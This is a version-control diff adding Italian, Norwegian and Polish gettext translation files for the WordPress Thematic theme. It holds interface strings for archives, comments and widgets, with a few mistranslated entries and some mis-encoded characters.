+msgstr "Ripristina le Widget" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/theme-options.php:207 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Per maggiori informazioni su questo tema, visita ThemeShaper. Visita i Forums ThemeShaper se hai domande su Thematic." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:12 +msgid "To search, type and hit enter" +msgstr "Per cercare, scrivi e premi invio" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:18 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:281 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:43 +msgid "Search" +msgstr "Cerca" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:43 +msgid "The primary widget area, most often used as a sidebar." +msgstr "L' area widget primaria, usata spesso come sidebar." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:58 +msgid "The secondary widget area, most often used as a sidebar." +msgstr "L' area widget secondaria, usata spesso come sidebar." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:73 +msgid "The 1st widget area in the footer." +msgstr "Prima widget area nel footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:88 +msgid "The 2nd widget area in the footer." +msgstr "Seconda widget area nel footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:103 +msgid "The 3rd widget area in the footer." +msgstr "Terza widget area nel footer." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:118 +msgid "The top widget area displayed on the index page." +msgstr "Area widget superiore usata nella pagina index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:133 +msgid "The widget area inserted after x posts on the index page." +msgstr "Area widget inserita dopo x articoli nella pagina index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:148 +msgid "The bottom widget area displayed on the index page." +msgstr "Area widget inferiore usata nella pagina index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:163 +msgid "The top widget area displayed on a single post." +msgstr "Area widget superiore usata nella pagina index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:178 +msgid "The widget area inserted between the post and the comments on a single post." +msgstr "Area widget superiore usata nella pagina index." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:193 +msgid "The bottom widget area displayed on a single post." +msgstr "Area widget inferiore usata nelle pagine singole." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:208 +msgid "The top widget area displayed on a page." +msgstr "Area widget superiore usata nelle pagine." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:223 +msgid "The bottom widget area displayed on a page." +msgstr "Area widget inferiore usata nella pagine pagine." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:283 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:55 +msgid "Meta" +msgstr "Meta" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:285 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets-extensions.php:286 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:72 +msgid "RSS Links" +msgstr "Links RSS" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:77 +msgid "All posts" +msgstr "Tutti gli articoli" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:78 +msgid "All comments" +msgstr "Tutti i commenti" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/widgets.php:96 +msgid "Title:" +msgstr "Titolo:" + +#~ msgid "definitions created." +#~ msgstr "definitions create." +#~ msgid "failed to create directory:" +#~ msgstr "creazione directory non riuscita:" +#~ msgid "failed to create the file:" +#~ msgstr "creazione del file non riuscita:" +#~ msgid "Create Definitions" +#~ msgstr "Crea Definitions" +#~ msgid "Pages" +#~ msgstr "Pagine" +#~ msgid "Categories" +#~ msgstr "Categorie" +#~ msgid "Archives" +#~ msgstr "Archivi" +#~ msgid "RSS Feeds" +#~ msgstr "Feeds RSS" +#~ msgid "" +#~ "Enter the HTML text that will appear in the bottom of your footer. Feel " +#~ "free to remove or change any links. Hint: how to " +#~ "write a link." +#~ msgstr "" +#~ "Inserisci il testo HTML che apparira' in fondo al tuo footer. Sei libero " +#~ "di rimuovere o cambiare qualunque link. Suggerimento: come scrivere un link." +#~ msgid "Blog Index" +#~ msgstr "Indice del Blog" +#~ msgid "Blog Buttons" +#~ msgstr "Pulsanti del Blog" +#~ msgid "Page" +#~ msgstr "Pagine" +#~ msgid "Site Meta" +#~ msgstr "Info sul sito" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/nb_NO.mo Binary file web/wp-content/themes/thematic/library/languages/nb_NO.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/nb_NO.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/nb_NO.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,483 @@ +msgid "" +msgstr "" +"Project-Id-Version: thematic swedish\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-03-15 11:44+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: Björn Syse \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Swedish\n" +"X-Poedit-Country: Sweden\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-Basepath: sv_SE.po\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Beklager, men vi kunne ikke finne det du leter etter. Prøv å søke." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/404.php:15 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Søk" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arkiv (etter dag): %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arkiv (etter mÃ¥ned): %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arkiv (etter år): %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "Bloggarkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:57 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:42 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:17 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:49 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« Eldre artikler" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:54 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:58 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:43 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:18 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:50 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Nyere artikler »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:41 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:45 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Les mer »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "Arkiv etter kategori" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "Arkiv per måned" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/links.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "Rediger" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Sider:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "Forfattararkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:34 +msgid "Email " +msgstr "Epost" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "Kategori-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Denne artikkelen er passordbeskyttet. Skriv inn passordet for Ã¥ se kommentarer." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +msgid "One Comment" +msgstr "Én kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d trackbacks" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Én trackback" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +msgid "Post a Comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Skriv et svar til %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du må være innlogget for å skrive en kommentar." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Innlogget som %2$s. Logge ut?" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Din epostadresse deles eller publiseres aldri" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Obligatoriske felt er merket med *" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Navn" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Epost" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Nettsted" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:110 +msgid "Comment" +msgstr "Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Du kan bruke følgende HTML-tagger og attributter:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:120 +msgid "Post Comment" +msgstr "Legg igjen en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Sider:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Søkeresultater for:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Ingen treff" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Beklager, ingenting matchar ditt søkekriterie. Forsøk med en annen søkestreng." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:6 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:10 +msgid "Search" +msgstr "Søk" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:16 +msgid "Pages" +msgstr "Sider" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:23 +msgid "Categories" +msgstr "Kategorier" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:31 +msgid "Archives" +msgstr "Arkiv" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:50 +msgid "RSS Feeds" +msgstr "RSS-strømmer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:390 +msgid "Posts RSS feed" +msgstr "RSS-strøm (artikler)" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +msgid "All posts" +msgstr "Alle artikler" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:408 +msgid "Comments RSS feed" +msgstr "RSS-strøm (kommentarer)" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +msgid "All comments" +msgstr "Alle kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:58 +msgid "Meta" +msgstr "Meta" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/tag.php:13 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Stikkord-arkiv:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Skrevet %1$s klokka %2$s | Permalink" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tDin kommentar venter pÃ¥ Ã¥ bli godkjent.\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Svar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Logg inn for å svare." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Av %1$s, skrevet %2$s kl %3$s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tDin trackback venter pÃ¥ Ã¥ bli godkjent.\\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Det fins ikke noe utdrag, siden dette er en beskyttet artikkel." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Hopp over navigasjonen og gå direkte til innholdet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "GÃ¥ direkte til innholdet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:211 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:497 +msgid "Not Found" +msgstr "Ikke funnet" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:489 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:544 +msgid "Edit post" +msgstr "Rediger artikkel" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:502 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid "Permalink to " +msgstr "Permanent lenke til " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:511 +msgid "By " +msgstr "Av " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:513 +msgid "View all posts by " +msgstr "Se alle artikler av" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:516 +msgid "Published: " +msgstr "Publisert: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:551 +msgid "This entry was posted in " +msgstr "Denne artikkelen er kategorisert under " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:554 +msgid "Also posted in " +msgstr "OgsÃ¥ kategorisert under " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:557 +msgid "Posted in " +msgstr "Kategorisert under " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:564 +msgid " and tagged" +msgstr " og merket" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:567 +msgid " Also tagged " +msgstr " Også merket " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:569 +msgid "Tagged" +msgstr "Merket" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:578 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:581 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:584 +msgid "Comment on " +msgstr "Kommenter " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:579 +msgid " Comments" +msgstr " Kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:582 +msgid " Comment" +msgstr " Kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:585 +msgid "Leave a comment" +msgstr "Legg igjen en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:588 +msgid "Comments closed" +msgstr "Stengt for kommentarer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid ". Bookmark the " +msgstr ". Bokmerk " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:598 +msgid "permalink" +msgstr "permanent lenke" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:600 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "Post a comment" +msgstr "Skriv en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:601 +msgid " or leave a trackback: " +msgstr " eller legg igjen en trackback: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL for your post" +msgstr "Trackback URL for din artikkel" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:604 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Stengt for kommentarer, men du kan sende trackback: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:607 +msgid " Trackbacks are closed, but you can " +msgstr "Stengt for trackbacks, men du kan " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "post a comment" +msgstr "legge igjen en kommentar" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:610 +msgid " Both comments and trackbacks are currently closed." +msgstr " Stengt for kommentarer og trackbacks." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "Logg inn" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "Logg ut" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:13 +#, fuzzy +msgid "Index Insert Position" +msgstr "Index Insert Position" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:14 +#, fuzzy +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Den widgetbaserte Index Insert kommer til å komme etter dette antall artikler." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informasjon pÃ¥ forfattersiden" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Vis et mikroformatert vCard — med forfattarens avatar, biografi og epost — på forfattersiden." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Tekst i footer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Du kan bruke følgende kortkoder i footerteksten: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Drives av [wp-link]. Bygget på [theme-link]." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "instillinger lagret." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "instillinger tilbakestilt." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "widgets tilbakestilt." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Lagre endringer" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "Tilbakestill" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "Tilbakestill widgets" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "For mer informasjon om dette temaet, besøk ThemeShaper. Vennligst besøk ThemeShaper-forumet om du har spørsmål om Thematic." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:245 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "RSS-lenker" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Tittel:" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/nl_NL.mo Binary file web/wp-content/themes/thematic/library/languages/nl_NL.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pl_PL.mo Binary file web/wp-content/themes/thematic/library/languages/pl_PL.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pl_PL.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/pl_PL.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,498 @@ +msgid "" +msgstr "" +"Project-Id-Version: pol\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-01-24 16:45+0100\n" +"PO-Revision-Date: \n" +"Last-Translator: Mariusz Jamro \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Przykro nam, ale nie znaleziono strony której szukaÅ‚eÅ›. Spróbuj skorzystać z wyszukiwarki." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/404.php:15 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:58 +msgid "Find" +msgstr "Szukaj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Archiwum dzienne: %s" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Archiwum miesiÄ™czne: %s" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Archiwum roczne: %s" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "Archiwum" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:31 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:53 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:21 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:56 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:20 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:42 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:17 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:49 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:21 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« Starsze wpisy" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:32 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:54 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:22 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:57 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:21 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:43 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:18 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:50 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:22 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Nowsze wpisy »" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archive.php:41 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/attachment.php:20 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:44 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:30 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:30 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Czytaj dalej »" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "Archiwum wg. Kategorii" 